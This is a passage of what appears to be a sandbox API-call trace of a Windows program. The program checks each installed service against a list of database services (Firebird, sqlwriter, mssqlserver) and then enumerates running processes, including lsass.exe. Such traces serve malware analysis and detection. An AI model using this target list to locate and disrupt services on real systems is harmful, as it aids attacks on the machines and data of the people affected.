lpString2="AudioEndpointBuilder") returned 1 [0128.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0128.029] lstrlenW (lpString="Audiosrv") returned 8 [0128.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0128.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0128.029] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0128.029] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0128.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0128.029] lstrlenW (lpString="BFE") returned 3 [0128.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0128.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0128.029] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0128.029] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0128.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0128.029] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0128.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0128.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0128.029] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0128.029] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0128.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0128.030] lstrlenW (lpString="CDPSvc") returned 6 [0128.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0128.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0128.030] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0128.030] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0128.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0128.030] lstrlenW (lpString="ClickToRunSvc") returned 13 [0128.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0128.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0128.030] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0128.030] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0128.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0128.030] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0128.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0128.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0128.030] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0128.030] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0128.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0128.030] lstrlenW (lpString="CryptSvc") returned 8 [0128.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0128.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0128.030] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0128.030] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0128.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0128.030] lstrlenW (lpString="DcomLaunch") returned 10 [0128.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0128.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0128.030] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0128.030] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0128.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0128.030] lstrlenW (lpString="DeviceAssociationService") returned 24 [0128.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0128.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0128.030] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0128.030] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0128.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0128.031] lstrlenW (lpString="Dhcp") returned 4 [0128.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0128.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0128.031] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0128.031] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0128.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0128.031] lstrlenW (lpString="Dnscache") returned 8 [0128.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0128.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0128.031] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0128.031] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0128.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0128.031] lstrlenW (lpString="DPS") returned 3 [0128.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0128.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0128.031] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0128.031] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0128.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0128.031] lstrlenW (lpString="DusmSvc") returned 7 [0128.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0128.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0128.031] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0128.031] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0128.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0128.031] lstrlenW (lpString="EventLog") returned 8 [0128.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0128.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0128.031] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0128.031] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0128.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0128.031] lstrlenW (lpString="EventSystem") returned 11 [0128.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0128.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0128.031] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0128.031] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0128.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0128.032] lstrlenW (lpString="FontCache") returned 9 [0128.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0128.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0128.032] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0128.032] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0128.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0128.032] lstrlenW (lpString="gpsvc") returned 5 [0128.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0128.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0128.032] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0128.032] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0128.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0128.032] lstrlenW (lpString="iphlpsvc") returned 8 [0128.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0128.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0128.032] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0128.032] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0128.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0128.032] lstrlenW (lpString="KeyIso") returned 6 [0128.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0128.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0128.032] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0128.032] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0128.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0128.032] lstrlenW (lpString="LanmanServer") returned 12 [0128.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0128.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0128.032] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0128.032] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0128.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0128.033] lstrlenW (lpString="LanmanWorkstation") returned 17 [0128.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0128.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0128.033] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0128.033] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0128.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0128.033] lstrlenW (lpString="lfsvc") returned 5 [0128.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0128.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0128.033] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0128.033] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0128.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0128.033] lstrlenW (lpString="lmhosts") returned 7 [0128.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0128.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0128.033] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0128.033] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0128.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0128.033] lstrlenW (lpString="LSM") returned 3 [0128.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0128.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0128.033] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0128.033] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0128.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0128.033] lstrlenW (lpString="MpsSvc") returned 6 [0128.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0128.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0128.033] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0128.033] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0128.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0128.033] lstrlenW (lpString="NcbService") returned 10 [0128.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0128.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0128.033] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0128.033] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0128.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0128.034] lstrlenW (lpString="netprofm") returned 8 [0128.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0128.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0128.034] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0128.034] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0128.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0128.034] lstrlenW (lpString="NgcSvc") returned 6 [0128.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0128.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0128.034] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0128.034] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0128.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0128.034] lstrlenW (lpString="NlaSvc") returned 6 [0128.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0128.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0128.034] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0128.034] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0128.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0128.034] lstrlenW (lpString="nsi") returned 3 [0128.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0128.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0128.034] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0128.034] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0128.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0128.034] lstrlenW (lpString="PcaSvc") returned 6 [0128.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0128.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0128.034] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0128.034] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0128.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0128.034] lstrlenW (lpString="PlugPlay") returned 8 [0128.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0128.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0128.034] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0128.034] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0128.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0128.034] lstrlenW (lpString="Power") returned 5 [0128.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0128.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0128.035] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0128.035] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0128.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0128.035] lstrlenW (lpString="ProfSvc") returned 7 [0128.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0128.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0128.035] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0128.035] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0128.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0128.035] lstrlenW (lpString="RpcEptMapper") returned 12 [0128.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0128.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0128.035] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0128.035] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0128.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0128.035] lstrlenW (lpString="RpcSs") returned 5 [0128.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0128.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0128.035] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0128.035] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0128.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0128.035] lstrlenW (lpString="SamSs") returned 5 [0128.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0128.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0128.035] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0128.035] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0128.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0128.035] lstrlenW (lpString="Schedule") returned 8 [0128.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0128.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0128.035] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0128.035] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0128.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0128.035] lstrlenW (lpString="SecurityHealthService") returned 21 [0128.036] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0128.036] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0128.036] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0128.036] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0128.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0128.036] lstrlenW (lpString="SENS") returned 4 [0128.036] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0128.036] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0128.036] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0128.036] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0128.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0128.036] lstrlenW (lpString="ShellHWDetection") returned 16 [0128.036] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0128.036] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0128.036] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0128.036] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0128.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0128.036] lstrlenW (lpString="Spooler") returned 7 [0128.036] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0128.036] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0128.036] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0128.036] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0128.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0128.036] lstrlenW (lpString="StateRepository") returned 15 [0128.036] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0128.036] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0128.036] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0128.036] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0128.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0128.036] lstrlenW (lpString="SysMain") returned 7 [0128.036] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0128.036] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0128.036] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0128.036] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0128.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0128.036] lstrlenW (lpString="SystemEventsBroker") returned 18 [0128.037] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0128.037] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0128.037] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0128.037] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0128.037] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0128.037] lstrlenW (lpString="Themes") returned 6 [0128.037] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0128.037] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0128.037] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0128.037] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0128.037] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0128.037] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0128.037] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0128.037] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0128.037] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0128.037] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0128.037] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0128.037] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0128.037] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0128.037] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0128.037] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0128.037] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0128.037] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5b1860 | out: hHeap=0x510000) returned 1 [0128.037] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x390 [0128.042] Process32FirstW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0128.042] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0128.043] lstrlenW (lpString="System") returned 6 [0128.043] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0128.043] lstrlenW (lpString="smss.exe") returned 8 [0128.043] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0128.044] lstrlenW (lpString="csrss.exe") returned 9 [0128.044] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0128.044] lstrlenW (lpString="wininit.exe") returned 11 [0128.045] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0128.045] lstrlenW (lpString="csrss.exe") returned 9 [0128.045] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0128.046] lstrlenW (lpString="winlogon.exe") returned 12 [0128.046] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0128.046] lstrlenW (lpString="services.exe") returned 12 [0128.046] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0128.047] lstrlenW (lpString="lsass.exe") returned 9 [0128.047] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, 